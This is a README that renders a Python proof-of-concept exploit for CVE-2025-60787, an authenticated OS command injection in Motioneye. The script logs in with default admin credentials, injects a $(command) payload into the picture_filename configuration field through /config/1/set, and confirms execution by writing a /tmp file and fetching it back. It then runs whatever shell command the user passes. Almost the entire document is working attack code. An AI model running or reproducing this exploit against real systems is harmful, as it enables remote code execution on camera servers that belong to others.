README.md
Rendering markdown...
#!/usr/bin/env python3
"""
Exploit Title: Motioneye <= 0.43.1b4 - OS Command Injection (RCE)
CVE: CVE-2025-60787
Original Researcher: Prabhat Verma ()
Refactored by: [Rohitberiwala]
Date: 2026-03-07
"""
import requests
import argparse
import sys
import time
import re
from urllib.parse import urlparse
class MotioneyeRCE:
def __init__(self, target, port, username, password, command):
self.base_url = f"http://{target}:{port}"
self.username = username
self.password = password
self.command = command
self.session = requests.Session()
self.session.headers.update({
'User-Agent': 'Mozilla/5.0',
'Content-Type': 'application/x-www-form-urlencoded'
})
def print_banner(self):
print("-" * 65)
print("CVE-2025-60787: Motioneye OS Command Injection (RCE)")
print("Author: Prabhat Verma (@prabhatverma47)")
print("-" * 65)
def validate_target(self):
"""Validate target connectivity and Motioneye presence"""
try:
response = self.session.get(f"{self.base_url}/", timeout=5)
if response.status_code != 200:
print(f"[-] Target returned non-200 status: {response.status_code}")
return False
# Check for Motioneye-specific elements
if "motioneye" not in response.text.lower():
print("[-] Target doesn't appear to be Motioneye")
return False
return True
except Exception as e:
print(f"[-] Target validation failed: {e}")
return False
def login(self):
"""Authenticates to the Motioneye Web UI."""
print("[*] Attempting authentication...")
try:
# First get login page to extract CSRF token if present
resp = self.session.get(f"{self.base_url}/login")
if resp.status_code != 200:
print(f"[-] Failed to reach login page: {resp.status_code}")
return False
# Extract CSRF token if present
csrf_token = None
csrf_match = re.search(r'name="_csrf_token" value="([^"]+)"', resp.text)
if csrf_match:
csrf_token = csrf_match.group(1)
# Prepare login data
login_data = {
"username": self.username,
"password": self.password
}
# Add CSRF token if found
if csrf_token:
login_data["_csrf_token"] = csrf_token
# Perform login
resp = self.session.post(
f"{self.base_url}/login",
data=login_data,
allow_redirects=False
)
if resp.status_code == 302 and "redirect" in resp.text.lower():
print("[+] Authentication successful!")
return True
else:
print(f"[-] Authentication failed. Status: {resp.status_code}")
return False
except Exception as e:
print(f"[-] Authentication error: {e}")
return False
def verify_payload(self):
"""Verify payload execution by checking for file creation"""
print("[*] Verifying payload execution...")
# Create a unique test file name
test_file = f"/tmp/test_{int(time.time())}.txt"
verification_cmd = f"echo 'test' > {test_file}"
# Create payload that writes test file
payload = f"$({verification_cmd}) %Y-%m-%d/%H-%M-%S"
config_data = {"picture_filename": payload}
try:
resp = self.session.post(
f"{self.base_url}/config/1/set",
data=config_data,
timeout=10
)
if resp.status_code != 200:
print(f"[-] Failed to inject payload. Status: {resp.status_code}")
return False
# Wait for Motioneye to process the command
time.sleep(2)
# Verify file exists
verify_resp = self.session.get(f"{self.base_url}/static{test_file}")
if verify_resp.status_code == 200 and "test" in verify_resp.text:
print("[+] Payload execution verified!")
return True
else:
print("[-] Payload verification failed")
return False
except Exception as e:
print(f"[-] Verification error: {e}")
return False
def trigger_rce(self):
"""Injects shell command into the picture_filename configuration."""
print(f"[*] Injecting payload: {self.command}")
# Create proper payload
payload = f"$({self.command}) %Y-%m-%d/%H-%M-%S"
config_data = {
"picture_filename": payload
}
try:
# Send POST request with proper headers
resp = self.session.post(
f"{self.base_url}/config/1/set",
data=config_data,
timeout=10
)
if resp.status_code == 200:
print("[+] Payload injected successfully.")
print("[*] Command will execute upon Motioneye restart or config reload.")
return True
else:
print(f"[-] Failed to inject payload. Status: {resp.status_code}")
return False
except Exception as e:
print(f"[-] Error during injection: {e}")
return False
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Professional PoC for CVE-2025-60787")
parser.add_argument("--target", required=True, help="Target IP address")
parser.add_argument("--port", default="8765", help="Motioneye port (default: 8765)")
parser.add_argument("--user", default="admin", help="Username")
parser.add_argument("--pwd", default="", help="Password")
parser.add_argument("--cmd", default="touch /tmp/rce_success", help="Command to execute")
args = parser.parse_args()
exploit = MotioneyeRCE(args.target, args.port, args.user, args.pwd, args.cmd)
exploit.print_banner()
if not exploit.validate_target():
print("[-] Target validation failed. Exiting.")
sys.exit(1)
if exploit.login():
if exploit.verify_payload():
exploit.trigger_rce()
else:
print("[-] Verification failed. Attempting to continue anyway...")
exploit.trigger_rce()
else:
print("[-] Authentication failed. Exiting.")